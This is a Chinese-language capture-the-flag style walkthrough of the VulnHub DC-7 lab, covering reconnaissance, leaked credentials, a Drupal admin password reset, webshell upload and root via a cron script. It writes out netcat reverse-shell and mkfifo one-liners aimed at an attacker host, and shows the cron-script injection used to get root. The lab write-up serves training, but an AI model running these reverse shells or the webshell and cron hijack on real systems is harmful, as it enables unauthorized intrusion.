信息收集
扫描当前网段
nmap -sP 192.168.202.0/24
查看开启的端口服务
nmap -A -p- -v 192.168.202.146
访问靶机的80端口,通过Wappalyzer识别出是Drupal 8
先看一下靶机的说明
不是技术性的?跳出框框去思考?ememm,那先观看一下网站的特点吧 。
对比新搭建的Drupal框架,发现在最下方多了一个@DC7USER。
去谷歌搜索一下@DC7USER,发现了一个Dc7User
进入staffdb项目看看,在config.php发现账号密码
可能是后台的账号密码,试着进行登录
显示密码错误,这时候想到刚开始扫的时候,22端口有ssh,尝试进行登录
ssh dc7user@192.168.202.146
登陆成功
漏洞利用
尝试一下SUID提权和免密使用root级别命令,都失败了。那么就看一下/home/dc7user目录下的文件,发现一个backups文件夹和一个mbox文件。
进入backups文件夹,发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码。
发现在mbox中记录着root的定时任务,项目位置为/opt/scripts/backups.sh
查看一下/opt/scripts/backups.sh
如果这个文件可写,那么直接就可以反弹shell提权了。使用ls -l看一下权限,发现只有root和www-data可写。
这条路行不通,那仔细看一下backups.sh里面的命令
gpg命令是用来加密文件的,加密后的文件都是乱码
drush是一个简化了创建和管理Drupal8网站的命令行工具
查看drush的命令
回到/var/www/html,尝试修改www-data的密码
drush upwd admin --password="123456"
第15章 使用 Drush · Begining Drupal 8 中文版 (gitbooks.io)
Drupal drush 常用命令 - 知乎 (zhihu.com)
回到登录页面登录,可以登录成功
四处寻找一下漏洞,发现在Content => Add content =>Basic page处似乎可以写shell。
但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入。进入Extend => Install new module,输入php模块包的url。
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
点击install进行安装,安装完毕后点击中间这个去激活模块。
勾选后拉到最后面点击install,php模块就激活好了,回到Basic page这里写shell。
用蚁剑进行连接
反弹shell
连接后进入虚拟终端反弹shell
监听kali机的8888端口
nc -lvnp 8888
在蚁剑的虚拟终端
nc -e /bin/bash 192.168.202.129 8888
交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
提权
拿到了www-data的权限,接下来可以编辑上面所说的backups.sh,来进行提权了。
进入所在目录
cd /opt/scripts
将nc -e /bin/bash 192.168.202.129 1234之类的弹shell命令写进backups.sh,定时任务会以root身份执行这个sh文件,从而反弹root的shell完成提权。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.202.129 1234 >/tmp/f" >> backups.sh
或
echo "nc -e /bin/bash/ 192.168.202.129 1234" >>backups.sh
不能用>,因为>会覆盖原有内容,>>是追加内容。
在kali机接收shell就行了。
参考文章
Vulnhub靶机实战——DC-7_冠霖L的博客-CSDN博客_dc7靶机
DC:7靶机-Walkthrough_1nsIght的博客-CSDN博客
VulnHub——DC-7_Anranaaaa的博客-CSDN博客